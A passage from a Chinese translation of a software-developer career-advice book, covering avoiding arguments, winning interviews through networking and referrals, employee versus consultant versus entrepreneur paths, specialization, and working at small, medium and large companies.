争吵，像躲避响尾蛇和地震一样地远离争吵。”\n——Dale Carnegie，《人性的弱点》\n如果你因为“该怎么做某事”与他人产生分歧，那么在很多情况下，你最好先确定分歧点是否值得你去拼命维护，特别是在你知道它已让他人卷入时。在小事情上，任何放弃立场或承认错误的机会对你而言可能没什么大不了的，但对他人却可能是举足轻重的，这么做不仅能为你赢得不可估量的尊重，也能为你的未来积蓄财富，形势逆转时即可兑现使用。\n如果你从来没花时间来提高自己的人际交往能力，那现在正当其时。你会发现，当你学会了如何以令人愉悦的方式与他人互动和交往的时候，自己的生活也越来越愉快。通过习得这些技能，你积累了让自己获益终生的财富，它的价值无法用金钱衡量。\n地雷：如何处理“毒瘤”\n有时候你会发现，有的人不管怎么样就是无法相处，有的人就是抓住一切机会贬低别人，对生活中的一切抱有消极态度。我把他们称为“苛性碱”，你最好避开他们。\n如果你意识到某个人就是所谓的“苛性碱”，不要试图去改变他们，也不要试图去和他们打交道，就让他们停留在自己的轨迹上，你所要做的只是尽量限制自己与他们互动。你会发现“苛性碱人”所过之处痕迹明显，他们似乎总是卷入某种形式的悲剧之中，总是有不幸的事件发生在他们身上，他们老是把自己扮成受害者。如果你发现这种迹象，赶快跑——有多快跑多快。\n但是，如果这样的人是你的老板或同事，你不得不面对，你该怎么做呢？你能做的真心不多。要么逆来顺受，要么调到新部门甚至换工作。不管做什么，千万不要卷入其中。如果你不幸要与之打交道，限定在最小范围之内，切切不要投入感情。\n采取行动\n在你工作日的某天，跟踪记录你跟他人打交道的每一个事件。当这天结束的时候，数一数这一天你跟别人交流了多少次，包括回答电子邮件、接听电话等。\n快去找Dale Carnegie的《人性的弱点》这本书，这本书已经是公版书了，所以很便宜。快去阅读吧，要读不止一次。\n下一次当你被拖入一场争吵之前，想办法看看能不能逆转。做个有趣的小测试，试着认输。事实上，不仅仅要认输，更要果断站在对手一边。结果能让你大吃一惊。\n第5章 破解面试之道\n虽然你可以把写简历委托给他人，但面试却必须你亲自上阵，所以面试是一项需要掌握的关键技能。它也是求职过程中最令人恐惧的事情。在某种程度上，面试不可预测，你无法确切知道自己会被问什么问题，也有可能你会被要求现场写代码——对很多人来说这个要求太可怕了。但是，是否有一种方法能让你“破解”面试之道，让面试变成走过场呢？\n你可能希望我在本章中深入讨论通过技术面试的策略，不过我要论述的东西比策略更重要。我将帮你取得优势，让你在去面试之前就胸有成竹。不相信？继续读下去。\n通过面试的最快捷的方式\n想象一下这样的场景：你走进面试房间，与面试官握手致意。当他看你的时候，脸上露出了似曾相识的表情：“嘿，我认识你。我在你博客上看过你的照片。我读过你博客上的好多文章呢。”\n如果面试时发生这种情况，你觉得自己得到这个工作的机会有多大？现在，我知道你可能会想：“哦，这太棒了！但是，我没有一个超级流行的博客，所以不可能有哪个面试官曾经听说过我。”关键点在于：与主流观念相反，大多数面试官决定雇用某个人其实是基于各种各样的非技术因素。（在第二篇中我会告诉你如何拥有一个受人追捧的博客，我还会告诉你如何推销自己。但是现在，这些不是重点。）\n注意\n 我就见过傲慢无礼、不甚友好的技术高手败给了技术稍差但是性格讨喜的人。\n千万别误会，我可不是说通过展示自己不具有的技能，声名远播、为人友善就能获得录用。我的意思是，当许多技术过硬的开发人员都在竞争同一个工作岗位时，决定胜负的最大因素已经不再是技术能力了。\n简而言之，通过面试的最快捷的方式是让面试官对你怀有好感。达成该目标有很多方法，其中大多数可以在面试之前完成。\n我是如何得到最后一份工作的\n现在来说说我自主创业之前的那份工作。我是事先就确定我要为这家公司工作的，因为这家公司看起来很不错，而且允许开发人员在家办公。我花了一些时间研究这家公司，找出这个公司有哪些开发人员在写博客。我开始关注为这家公司工作的开发人员的所有博客，并开始在他们的博客文章下留下经过深思熟虑的评论。\n慢慢地，许多在这家公司供职的开发人员开始认识我了，并通过我给他们博客做出的评论知道了我是谁。他们中的一些人甚至开始读我的博客。\n接下来，当这家公司开始招聘开发人员的时候，我递交了申请。你们觉得我得到这份工作得费多少力气？当然，我仍然需要面试，但是只要自己不搞得一塌糊涂，我就如探囊取物一般得到了这份工作，薪水还挺高（如果不用这种方法申请这份工作，我也就不会得到这么高的薪水）。\n突破陈规，建立融洽关系\n“破解”面试的要诀就是在面试开始之前就思考应对面试的策略。当然，在面试的时候你也可以展示自己的风采，让面试官折服。不过，我假设我们中的大多数人都缺乏这样的魅力。如果你风华绝代，也就没必要阅读本章了。\n大量工作岗位来自“个人推荐”。你要试图确保你申请的职位也适用于个人推荐。如果你是被他人推荐去面试，因为有推荐人的社会公信力做背书，面试官会自然而然地高看你一眼。推荐人的声誉及他与面试官的交情，有一部分就延伸到了作为应聘者的你的身上。当你进入面试环节，面试官早就对你有所偏爱，因为你是由他们喜欢和信任的人推荐来的。\n但是，如果你在申请的公司里谁都不认识，这一招怎么玩得转？如何找到推荐人？在我的例子中，我找到了已经在这家公司工作的开发人员的博客，并与他们建立了联系。于是当有新工作岗位时，获得他们的推荐也就轻而易举。\n你必须要突破常规，想尽办法与公司内部人员建立联系。我听说，曾经有一位开发人员想找到负责某个职位的招聘经理。他发现这位经理是当地一家俱乐部的成员，这家俱乐部每周都有聚会。于是这位聪明的开发人员也加入了这家俱乐部，成为这位招聘经理的朋友。我敢断定，他甚至都没有经过正式的面试就获得了那家公司的职位。\n传统的求职方法与改进的求职方法\n随着社交媒体和互联网的广泛应用，你能非常容易地找到任何公司的各种信息，也容易与他们的员工建立联系。你只需要提前做一些信息搜集的跑腿工作。\n如果你想在同一时间里与一批人建立关系，不妨试试加入本地用户组。许多开发人员用户组通常会每周或每月聚会。如果你成为定期参加者，特别是如果你做一些报告，那你就能很快与本地公司的开发人员和招聘经理们建立起联系。\n地雷：如果你现在就需要一份工作\n也许你同意我上面说的一切，但是你只有一个麻烦——太晚了。你刚刚下岗，你现在就需要找到一份新工作，你没有时间建立一个社交网络或在线声望，或者“偷偷接近”某个潜在的雇主。在这种情况下，你能做什么呢？\n在这种情况下，你最好尽早与面试官建立联系，尽最大可能做好如下工作：看看能不能在面试之前得到预面试的机会，在你坐下来进行真正的面试之前请求跟面试官见面，谈谈公司状况，或者问一些问题。你可以打一个5分钟的电话和对方简短地聊一聊。想方设法在能影响面试结果的人面前展示自己。\n我知道这听起来很疯狂——所以你最好还是有备而来、不要走“捷径” ——但在紧要关头，这种方法还是管用的。我一个好朋友创办了一个名为Health Hero的创业公司，他就用这种方法让自己的公司被三个极难入围的孵化器项目接受的。他只是搞定与关键决策者的“预面试”，所以等他参加正式面试的时候，每个人都知道他，并很喜欢他。\n真正的面试会是什么样子的\n如果顺利的话，在你走进面试间的时候，面试官已经知道你是谁了，但无论如何，你都需要了解在面试时自己该做什么。现在，很明显，你需要从技术能力上证明你可以通过技术面试。就像你有两把刷子，那就说出来。接下来要关注的事情就是自信地展示自己的能力——知道要获得这份工作需要做什么，做就是了。\n从雇主的角度看，招聘员工就是一项投资。招聘员工要花费时间和金钱，所以老板当然想看到良好的投资回报率。能够自发地、无需过问就能做事的员工通常能增加公司的净收入，此外，他们也让老板少操心，只占用少量的管理资源。\n与雇用技术高超但需要生拉硬拽才能干活的人相比，我宁愿雇用这样的开发人员：知道的东西可以少一点，但是明确知道要做什么，以及怎样去做。从某种程度上，在你可控的范围之内，面试的时候你要集中精力证明自己就是无需督促也能自动自发做好事情的员工。\n你还必须要证明：在技术上你确实胜任工作。同时，如果你能说服面试官相信你非常能干，不会被困难阻挡，那么他们不仅会喜欢你，而且更有可能会录用你。\n当下你能做什么\n不管你现在是正在积极寻找工作，还是给自己保留选择的余地，再没有比现在更好的时机去开始准备你的下一场求职面试了。\n你应该做的第一件事是确保自己仍旧保持技术能力。如果你力所不及，那么世界上所有的面试技巧都不能帮助你找到工作。确保自己一直阅读技术书籍和博客文章，并会花些时间提升自己的技能。\n你也可以未雨绸缪，拓展自己的社交网络。开始与本领域不同公司的员工接触，建立联系，他们日后可能会帮到你。通过阅读并评论他们的博客，认识本领域的其他开发人员甚至是招聘人员。想方设法扩大你的社交圈子。\n别忘了实践。即便你现在对换新工作毫无兴趣，为了获得面试经验，你也要去面试。练习得越多，你在真正的面试时也就越游刃有余。\n集中精力推销自己会对你大有裨益，关于这一点我们将在下一篇中谈到。\n采取行动\n即使你现在不需要努力找工作，也要整理一份清单，列出你想去工作的公司，以及你认识的这些公司的人。\n在这份清单上的公司里，如果有的公司你一个人都不认识，那么制订计划至少去认识这些公司中的一位员工，并与之建立联系。\n在自己所在领域找出至少一个本地用户组，参加聚会，并把自己介绍给尽可能多的人。\n第6章 就业选择：列出你的选择\n落入俗套很容易，循规蹈矩也很容易，只要跟其他人做一样的事情就是了。尽管事实上大多数软件开发人员在其职业生涯中只作为雇员为公司工作，但这并非你的唯一选择。有很多赚钱的方法可以让你的编程技能更好地发挥。\n你自己甚至可能都不知道除了传统的雇用型劳动关系之外还有其他选项——我现在就不受雇于人。在本章中，我会列出你的所有选择，这样你可以更好地决定自己未来想要做什么。在本章后半部分，我们将逐一探讨这些选择，了解它们的成功之路。\n选择1：雇员\n对广大软件开发人员而言，这是一项常见的、默认的就业选择。在我自己的软件开发职业生涯中，大部分时间里我也是一名雇员。究其原因，一部分是因为我不知道还有其他选项，一部分在于这是最容易的选择。或许我无需为你定义雇员是什么，不过还是值得思考一下“雇员”这个选择的好处和弊端。\n身为雇员的最大的好处就是稳定。此处的稳定并非特指在某一特定的工作岗位或者为某一特定的雇主工作。相反，我说的“稳定”是指你知道自己能以预设的方式谋生。在接下来的日子里，你作为一名雇员，只要你拥有一份工作，你就可能会得到一份薪水。你将来也可能会失去这份工作、不得不去找新工作，但是你至少在一段相对稳定的时间内，每个月都可以维持在某个收入水平上。\n作为一名雇员也是一条比其他选择更轻松的道路，因为你的职责是有限的，路线明晰。寻找和申请工作都有一个明确定义的流程。你也无需操心“做什么才能赚钱”这种问题。\n作为一名雇员，你通常还有带薪休假，而且在美国至少你还有医疗保险。\n作为一名雇员的消极方面，很大部分与自由相关。作为一名雇员，你要花大把时间为雇主工作，无法选择自己要做什么，也不可能总是做令你乐享其中的工作。你还需要遵守规定，比如每周工作多少小时，哪些日子需要上班，等等。\n此外，作为一名雇员也意味着你的收入都是事先确定好的，这就意味着收入有一个“封顶”的界限。作为一名雇员，你终究会在收入和职位晋升上碰到“玻璃天花板”。当逐级晋升到达这一节点的时候，你的收入很难大幅增长，不改变职业路径的话也不可能得到晋升。\n表6-1列出了作为一名雇员的好处和弊端。\n表6-1 作为一名雇员的优点和缺点\n好处\n弊端\n稳定\n缺少自由\n从业之路比较轻松\n收入封顶\n带薪假期\n（可能会有）医疗保险（在美国）\n选择2：独立咨询师\n许多软件开发人员以担任独立咨询师的方式谋生。作为独立咨询师，软件开发人员不再为特定的单个雇主工作，而是服务于一个或多个客户。如果你曾兼职为某个客户写程序，他们以时薪或固定价格付你报酬，那你就明白什么是咨询了。\n我认为独立咨询师就是以上述方法为自己赚取大部分收入的软件开发人员。这与“合同工”截然不同，合同工为单一客户工作，并以小时计薪。合同工更像一种雇用关系，而独立咨询师通常有自己的公司，依照合同为客户工作，但并不与任何一个客户绑定。\n在我的职业生涯中，我也曾做过几年独立咨询师，直到现在我还做一些独立咨询的工作。我一直都梦想能自己为自己工作，我也设想成为独立咨询师之后能够实现这一梦想。我认为不给别人打工，自己当老板会很棒，但对成为独立咨询师其实就意味着从“为一个老板服务”变成“为许多老板服务”却一无所知。\n不是说做独立咨询师就一无是处。没有单个雇主的好处之一就是无需汇报。作为独立咨询师，你可以安排自己的时间，最重要的是，你也有选择自己想做什么工作的自由——假设你的工作多到能够挑拣。你也能够来去自由，时间灵活，不过客户希望在需要的时候能够找到你并且你能按时完成工作。\n做独立咨询师最大的好处可能就是赚钱的潜力。作为一个独立咨询师，你的时薪会比为其他人高得多。目前我给我的客户报价是每小时300美元，我知道有些独立咨询师的价位比这个价格还要高。\n不过作为独立咨询师并不意味着你肯定会发财。你一开始不会有300美元的时薪，不过在本书关于营销的第二篇中，我会给你一些切实可行的能够大幅提升报价的方法。你也不会每周都工作满40小时。尽管看起来作为独立咨询师能赚到大把的钱，但是事实上你要花大量的时间在寻找客户以及其他与业务运行相关的事情上。作为独立咨询师，你其实就是名副其实的经营者（不仅仅指心态上）。你要负责税务、法律咨询、销售、健康保险以及各种与企业经营有关的事情。\n表6-2列出了作为一名独立咨询师的优点和缺点。\n表6-2 作为一名独立咨询师的好处和弊端\n好处\n弊端\n更大的自由度（自己掌控时间）\n自己去寻找业务\n可以持续不断地做新项目\n打理一切事务的开销\n赚钱潜力\n从“为一个老板服务”变成了“为许多老板服务”\n选择3：创业者\n创业之路可能是你职业生涯中最难、最不确定但却最具回报潜力的选择。尽管有许多形容词来描述这一职业选择，每一个都有很好的理由。我还是认为创业者等同于职业赌徒。作为创业者几乎没有稳定可言，不过一旦你真的成功了，那可真的就是大获全胜。\n那么，“创业者”到底意味着什么呢？你的猜想可能和我的一样。它的定义相当模糊，蕴含着很多不同的含义。不过，我认为最核心的就是：软件开发创业者使用自己的软件技能开发自己的产品、拓展自己的业务。雇员和独立咨询师都在以时间换金钱，而创业者尽管换不来预付好的报酬，但是他却有机会在未来获得更大的收益。\n我认为我自己现在就属于“创业者”这一类。我把大部分时间都花在开发我销售的培训课程和其他产品上，直接或间接地通过合作伙伴把它们销售出去以维持生计。我仍然会写代码，但是我通常不会为任何特定的客户写代码。我要么为某个特定产品写代码，要么为我自己创建和开发的培训服务写代码，给别人传道授业。\n事实上，这本书恰恰正是一个创业者努力奋斗的例子。我下了相当大的赌注，花费大量的时间撰写这本书。我会从出版商那里得到一点预付款，但这笔预付款与我写这本书所花费的时间不能相提并论。我希望这本书有足够高的销量，以使我获得的版税足以补偿我的劳动，或者我可以用它来作为宣传材料，帮我吸引其他领域的客户。也有可能这本书会一败涂地，所有努力都是白费的（考虑到你正在读本书，所以这不大可能）。\n其他软件开发创业者的做法与我截然不同。有的成立创业公司，从外部风险投资人（Venture Investment，VC）那里获得大笔投资，有的则构建小型的“软件即服务”（SaaS）公司，通过订阅的方式销售服务赚钱。例如，广受欢迎的开发人员培训公司Pluralsight的创始人最初以课堂培训起家，但是后来他们发现通过提供纯在线培训服务会做得更好，于是他们就转向SaaS模式，开始提供订阅的服务。\n我相信你现在一定猜得出作为创业者的两大优势了：完全的自由和完全不封顶的赚钱潜力。作为一名创业者，你没有老板，虽然你可能会是最严厉的老板。你完全可以来去自由，随心所欲，你也对自己的未来负全部责任。如果你的产品非常成功，你可以赚到百万美元，甚至赚的更多。你也可以举债经营，使未来回报以指数级增长。\n但是，作为一个创业者，并不总是宝马香车、灯红酒绿。创业可能是你从事过的最艰难、最冒险的职业抉择——完全没有任何收入保障，可能会为了实现光辉理想而负债累累。创业者的生活如同坐过山车一般：今天顾客购买你的产品，你感觉仿佛屹立在世界之巅，明天你的项目急转直落，你可能要为如何付房租而愁肠百结。\n作为一个创业者，你还得为其他技能投入颇多，而作为为他人或客户工作的软件开发人员时，你就无需担心这些。创业者必须要学习销售、市场营销，以及商业和理财等诸多方面的技能，这些都是成功的关键。（我会在本书后半部分介绍这些内容。在第二篇中我会讨论如何自我营销，这一概念与“产品营销”类似，在第五篇中我会讨论一些理财话题，即使你不打算成为创业者，这些话题也很有用。）\n表6-3列出了创业的好处和弊端。\n表6-3 创业的好处和弊端\n好处\n弊端\n完全自由\n风险很大\n巨大的赚钱潜力\n完全依靠自己\n做你想要做的工作\n需要许多其他技能\n没有老板\n可能需要长时间工作\n到底应该选哪个\n对大多数软件开发人员而言，特别是在职业生涯的起步阶段，做一名雇员是明智的选择。这个选择的风险最小，你不需要具备大量的经验。我倾向于认为：做一名雇员就像当学徒一样。即使你已经树立了“为自己工作”的志向，做雇员是学习并锤炼技能的良好起点。\n换句话说，如果你的职业生涯刚刚起步就有机会成为独立咨询师或创业者，并且你能接受随之而来的可能的风险，那么你就能够避免那些无可避免的失败和错误，给以后美好的职业生涯打好基础。\n选择什么完全取决于你自己，并且你也可以随时切换路径。事实上，在第11章中，我会告诉你如何从雇员过渡为自雇者。这并不容易，但是有可能的。\n采取行动\n列一个名单，列出你认识或者听说过的对应上述三种类型的软件开发人员。\n如果你有兴趣成为独立咨询师或者创业者，那么安排与你认识的已经走上这条路的朋友会面，向他们了解一下这条路到底怎么样。（太多的开发人员在对此懵懂无知的时候就投身其中了。）\n第7章 你是哪类软件开发人员\n你曾经聘请过律师吗？当时你做的第一件事是什么？如果你还没有聘请过律师，那你觉得自己要做的第一件事会是什么？\n如果你认为你需要明确指出自己需要哪种类型的律师，你是对的。你不想抓起电话随便打给一位律师，你肯定想打给能够解决自己问题的专业律师。律师这一行术业有专攻，他们通常在从业一开始就走上了专业之路，成为刑事律师、交通事故律师或者房地产律师等。\n你不会想找打离婚官司的律师代理自己的税务或房地产方面的事务，所以专业化是非常重要的。律师并不是从法学院毕业的那一刻才决定自己要当律师的。但是，遗憾的是，大多数软件开发人员是在干起了软件开发行当时才决定自己要当程序员的。\n专业化很重要\n有大量的软件开发人员并没有具体的专业方向。事实上，大部分软件开发人员完全以自己使用的编程语言来定义自己的专业性。你经常会听到有人说“我是C#开发人员”，或者“我是Java开发人员”，等等。这种专业分工太宽泛了，并不足以说明你能胜任哪种类型的软件开发工作。一门编程语言并不能让我了解你是哪类软件开发人员，也不能告诉我你真正能做什么。它只是让我知道你在工作中使用哪一种工具。\n你可能会害怕专攻软件开发的某一领域，担心自己陷入很窄的专业领域，从而与其他的工作和机会绝缘。虽然专业化确实会把你关在一些机会的大门之外，但与此同时它将打开的机会大门要比你用其他方式打开的多得多。\n再拿前文的律师场景打比方。如果你成为了一名律师，但并无专业方向，那么理论上每个要找律师的人都会是你的客户。但问题是，只有少数人才想雇一个“通才式”的律师。大多数潜在客户都倾向于聘请“专才”。\n尽管看起来你有一大拨潜在客户，但现实上，身为一个“通才式”的律师，你的客户群会大幅缩减，只剩下那些没有精明地能意识到自己需要“专才”的那些人。\n从表面上看，身为“专才”后，潜在雇主和客户群都变小了，但是实际上你对他们更具吸引力了。只要你专业能力雄厚，市场没有过渡饱和，与那些自称为“软件开发人员”的人相比，你能更轻松地找到工作或者赢得客户。\n在一个专业方向上拥有专长\n如果称自己是“C#开发人员”或者“Java开发人员”不够明确的话，那该怎么称呼呢？这可不是一个容易回答的问题，因为真正的答案是“那得看情况了”。这取决于你所要达成的目标是什么，这个领域的市场有多大。\n让我给你举个例子吧。在我职业生涯的早期，我把自己定位为专攻打印机驱动软件和打印机语言开发的软件开发人员。这个专业很偏门，只可能在数得着的几家大公司找到工作。不过你也能想象得出，打印机制造商要想找到专攻打印机和打印机语言的开发人员有多难。\n我的偏门专业让我对小范围内的潜在雇主极具价值。这些雇主并不会在大多数城市存在，所以如果我的市场是美国甚至全球的话，那在这个庞大的市场上，我的专长格外有用。但是，如果我不想搬离现在生活的地方的话，那我的专长并无用武之地。（有多少本地公司需要一位专攻打印机的软件开发人员？）幸运的是，当时的我愿意去美国的任何地方工作，所以这个专长挺适合我的。\n注意\n 专业化的规则是：专业化程度越深，潜在的机会就越少，但获得这些机会的可能性越大。\n让我们回到你的情况。假设你正在你所在地寻求一份工作，并且你是一个Java开发人员。很多大都市对Java开发人员都有相当大的需求，所以开始的时候你会拥有一个很棒的大水池——你可以得到很多工作机会。但其实你并不需要所有的这些工作机会，只要一个就够了。\n让我们假设一下，在任何给定的时间内，你所在的地区都有500个Java开发工作岗位空缺。现在，假设你决定走专业化路线，限定自己的市场但提高或者这些工作的机会，那你的专长就是做Java Web开发人员。或许这一决定减少了250个工作机会，但是还有250个工作机会。仍然很多，不是吗？记住，你只需要一份工作。\n通过有针对性地缩小“工作机会池”，提高被录用的机会\n现在你决定更专业化一点，选择专攻Java Web开发栈（我们不在这里牵扯过多具体Java Web开发栈的细节）。也许这会将你的工作机会降到50个，但可供挑选的工作机会依然很多，同时因为你现有的技能和知识都是针对这些工作的，于是你获得这50个工作中的某一个的机会增加了。\n软件开发人员的专业类别\n软件开发人员有很多不同的专业分类。比较明显的分类方法是按照开发语言分类和按照平台分类，但是也可以按照方法论分类、按照技术或业务种类分类。\n首先你得弄清楚一件事，自己想从事哪类软件开发工作。你是想做应用程序的前端开发，设计和实现用户界面，想做应用程序的中间件开发，实现业务规则和逻辑，还是想做应用程序的后端数据库或底层操作开发？你甚至可以做到三者通吃，成为传说中的“全栈开发人员”；但是在这种情况下，你还是应该专注于某一特定的技术栈。（例如，一位Web网站全栈开发者可能使用C#和SQL Server专门创建ASP.NET MVC网站。）\n你也可以专攻嵌入式系统开发，与硬件设备紧密相关，写出来的代码运行在某个设备内部的计算机上。嵌入式系统程序员要解决的问题与Web开发人员要处理的截然不同。\n操作系统是另一个专业领域，尽管对Web开发并不是很重要。许多开发人员会针对特定的操作系统（如Windows、UNIX或者Mac）来开发应用。\n移动应用开发或特定的移动操作系统开发是另一个潜在的专业领域。针对专门为iOS和Android平台开发移动应用的开发人员的需求巨大。\n一些开发人员的专业化水平确实很深，已经成为某个具体平台或框架的专家。这些开发人员的潜在客户稀少，但由于他们的专业化水平，他们能够开出非常高的时薪。在那些非常昂贵的软件套件或构架周围，如德国软件行业巨人SAP，你总能发现这些底层开发专业领域。在这些昂贵的软件系统上开发集成化客户解决方案的专家们收入非常高。\n专业领域\nWeb开发栈\n嵌入式系统\n特定的操作系统\n移动开发\n框架\n软件系统\n选择你的专业\n对于我的专业化观点，大多数软件开发人员表示赞同。但是，我常常被问到如何选择一个专业方向。选择一个专业领域是一项艰巨的任务。\n这里有一些技巧来帮你选择自己的专业。\n在你现在或以前工作的公司里，有哪些主要的痛点？你能成为一名专门解决这些痛点的专家吗？\n有没有一种特定的工作是无人能做，或者缺乏经验丰富的人？成为这个领域的专家，你就会获得大量业务。\n在各种会议上和用户组中哪些话题最常出现？\n哪类问题你回复的最多，无论是针对同事还是在Stack Overflow（http://stackloverflow.com）这样的网站上？\n无论你做什么，首先确保你选定了某些专业方向。市场规模决定了你的方向有多么具体，所以一定要让它尽可能地具体。你会在这个细分市场上更抢手。别担心，如果你需要，随时可以改变你的专业方向。显然，我现在不再专门从事打印机方面的软件开发，我知道许多开发人员即使迁移到不同的专业领域，他们依然大获成功。例如，我的好朋友John Papa，他曾经是微软Silverlight方面的专家。在Silverlight不行了之后，他将自己的专业领域转移到单页应用（Single Page Applications，SPA）。\n精通多种语言的程序员该怎么办\n每当我谈起“专业化”的话题，我都会遇到一些阻力。我认为在这里很有必要澄清一下：即使我推荐走“专业化”道路，也不代表我认为你不应该同时具备广泛的技能。\n这二者看起来似乎是矛盾的，其实并非如此。做一个技术全面、多才多艺的软件开发人员非常棒。能够使用多项技术和多种编程语言，有助于你的职业发展，能让你比那些仅了解一项技术或一种编程语言的软件开发人员更有价值。然而，这种“万金油”式的人才在市场上并不吃香。\n团队里有一个全能的开发人员是件好事，但是很少有公司或客户会去寻找这样的人才。即便你各种技术能力惊人，通晓50种编程语言，你最好还是选定某个专业领域，哪怕时不时换一下。\n学富五车，或者灵活变通并同时仍有所专长让自己卓尔不群。如果你非要二选一，那先从专业化开始，再拓展分支。\n采取行动\n列出你能想到的所有软件开发的专业领域。从广义的范畴将它们逐一细化，看看你能细化到多具体。\n你当前的专业领域是什么？如果没有的话，想想你会选择专攻哪个领域。\n去主流的招聘网站上看看自己的专业领域市场行情如何。确定一下，专业化道路是会让自己受益，还是过度限制了自己的选择。\n第8章 公司与公司是不一样的\n作为软件开发人员，你的工作体验会因为你选择的公司类型的不同而迥然不同。为刚起步的小公司工作，还是为资金雄厚的大公司工作，或是为规模介于二者之间的公司工作，这一决定至关重要。\n不仅公司规模决定你的工作体验，每个公司都有其独特的文化，深刻地影响着你的整体幸福感、存在感和归属感。\n在接受一份工作之前考虑这些是很重要的。从薪资和福利的角度评价一个潜在的工作机会是很容易的，但是从长期发展和工作环境的角度去评价可能对你更为重要。\n在本章中，我们将从正反两个方面探讨大、中、小型公司的优缺点，讨论如何决定为哪种类型的公司工作。\n小公司和创业公司\n大多数小公司都是创业公司，所以它们有着非常独特的“创业心态”。所谓创业心态通常表现为：关注快速增长，竭尽所能让公司盈利，或者达成其他一些迫切目标。\n在这样一家公司工作的软件开发人员，你极有可能要身兼多职，不能只写代码。因为员工数量不多，角色不固定，所以你需要更加灵活多变。如果你只是想坐在桌边写代码，你可能就不喜欢设置服务器或者协助测试。但是，如果你精力充沛、活力四射，喜欢迎接新挑战，那你就会对这种环境着迷。\n在一家小公司，你做的事情可能影响更大，可以说是好坏参半。如果你希望寂寂无名，做好自己的本职工作，那你可能不会喜欢在小公司工作——那就像在雷达的监视下飞行。但是，如果你乐于看到自己的工作成效，那么小公司无疑是最佳场所。因为小公司员工很少，每个人的作用都能被注意到，甚至直接影响到公司收入。这意味着不仅你的功劳会被放大，要是搞砸了也同样如此。\n小公司通常没有大公司稳定，但是长远来看，潜在的回报更大。小公司极有可能面临倒闭，或者发不出工资，不得不裁员。但在另一方面，如果你能安然度过这些风暴，作为这个成长显著的小公司的第一批员工，回报是巨大的。在大公司里，通过晋升到达总监级别是非常难的，但在小公司你的上升概率要高很多，新进员工都会在你手下。\n许多开发人员都在为创业型公司工作，薪水低廉、上班时间长得令人觉得荒唐，就是指望公司上市或被收购，能够凭期权股票发财。但是，我认为这个赌注风险极高。我不建议你为了“中彩票”而选择去创业公司。一旦选择了那条路，你可能耗尽心力却一无所获。选择为小公司或初创公司工作的一个更好的理由是，你喜欢那种快节奏的、令人兴奋的工作环境，也希望构建伟大的产品并见证它的成长。\n中等规模的公司\n大多数公司都是中等规模的。所以你也最有可能为这样的公司工作，或者在这样的公司里结束职业生涯。中等规模的公司通常存在了一段时间，也有盈利业务，但是并不具备冲进财富500强的势头。\n在一家中等规模的公司里，角色定义通常很明确，你也会更稳定。我要说的是，中等规模的公司往往要比大公司还稳定，因为大公司往往还有大裁员或者周期性重组。如果你喜欢稳定，那你会发现中等规模的公司最适合你。\n在中等规模的公司里工作，你可能会发现工作节奏有点儿慢，但是想不为人知也很难。你的贡献可能不会导致公司业务下滑或波动，但是仍然能被注意到。在中等规模的公司里，缓慢而稳健的做事风格通常能占得先机。创业公司那种快节奏的“不作为毋宁死”的心态通常会促进快速决策、拥抱前沿技术，但是大多数中等规模的公司厌恶风险，行事缓慢。在一家中等规模的公司，如果你喜欢使用前沿技术，就会发现这一套很难受到老板的赏识，因为风险很难评估。\n大公司\n大公司非常有趣，每家都各不相同。大公司通常都有很深厚的公司文化，渗透到公司各个方面。很多大公司都是上市公司，首席执行官（CEO）也都是社会名流，可望不可及。\n在为一家大公司工作时，你会注意到的最大的事情也许就是那里大量的规范和流程。当你到一家大公司面试时，你需要经过一系列面试，并遵守非常正式的流程。在大公司工作时，你要遵守这里已有的做事方式。鲁莽和“变节者”在这种企业文化里不受欢迎。如果喜欢流程和结构化，那么你可能会很享受为大公司中工作的乐趣。\n为大公司工作的一个显而易见的事情就是成长机会。当我为一家财富500强的公司工作时，我获得了许多培训机会，各种软件产品供我使用。许多大公司提供职业发展指导，帮助你在组织内部学习和成长。你也可能有机会做一些很酷的东西。中小规模的公司可没有如此庞大的预算去做改变世界的大型项目。但是对于许多大公司而言，技术创新是很常见的。你可能无法对这种大规模创新带来显著影响，但是你可以作为团队的一分子，给市场带来真正了不起的产品。\n对很多软件开发人员而言，在大公司工作令人沮丧，因为他们感到他们个人的贡献无足轻重。你可能只负责大的代码库的一小部分功能。如果你是那种喜欢负责一个软件系统的各个方面的开发人员，那么你也许并不喜欢在大公司里工作。\n在大公司里倒是很容易就隐藏在芸芸众生之中。在我曾供职的几家大公司里里，有一些开发人员基本上终日无所事事，除非赶上一轮全公司范围内的大裁员，否则根本不会有人注意到他们。不过，这种自主权也可以被善加利用。你能够去琢磨自认为重要或有趣的项目，无需背负产品压力。\n关于大公司的最后一点是：办公室政治。大公司通常有着复杂的政治体制，堪比大型政府机构。作为软件开发人员的你可以尽量避开政治，但即便如此，其他人的政治权谋也会以某种方式影响到你。所以，就像我们将在下一章探讨的那样，要在大公司晋升，你必须学会如何在复杂的政治气候中独善其身。如果办公室政治不是你的菜，你想要完全置身事外，那最好栖身于扁平化管理结构的小公司。\n表8-1展示了在小公司、中等规模公司和大公司工作的一些优点和缺点。\n表8-1 在小公司、中等公司和大公司工作的一些优点和缺点\n公司规模\n优点\n缺点\n小公司\n承担多种职责，灵活的角色转换 对工作的影响较大 回报潜力大\n没法安静地坐下来写代码 工作在众目睽睽之下 稳定性差\n中等规模公司\n工作稳定 加班较少\n变化很慢低下 没有机会使用前沿技术\n大公司\n完备的流程和规范 培训机会多 大型有影响力的项目\n充斥着官僚主义作风 可能只负责代码库的一小部分 很难获得关注\n软件开发公司与拥有软件开发人员的公司\n在决定自己要去哪种公司工作的时候，另一个需要考虑的重要因素是下面两类公司之间的区别：一种是软件开发人员只负责内部软件或他们正在生产的部分产品的公司，另一种是生产软件或者做软件开发就是核心业务的公司。\n那些并非专注于软件开发业务的公司雇用软件开发人员只是为了开发自己系统的某些方面，对待软件开发人员的方式也与那些主要专注于软件开发业务的公司截然不同。如果公司的业务重心并非软件，那自然也不会给软件开发人员足够的尊重和发展空间。这些公司的软件开发实践极有可能非常松散。\n另一方面，那些以软件开发为生的公司则会更重视自己雇用的软件开发人员的价值。他们的工作环境不一定会更好，但会大不一样。\n你可能也发现了，与雇用软件开发人员但核心业务并非软件的公司相比，软件开发公司会使用更为前沿的技术和工具。如果你想研究新技术，你应该直接去找一家软件开发公司。\n在推行敏捷软件开发方法的时候，这两类公司之间的差异非常明显。软件为非核心业务的公司在采用敏捷过程中困难重重，这是由于敏捷过程通常是由开发团队驱动的。敏捷过程需要自上而下地采纳推行，但是仅仅因为一些开发人员认为敏捷是个好主意，就让公司改变自己的做事风格，异常困难。\n谨慎选择\n这里列出的只是软件开发人员工作的不同公司类型的一些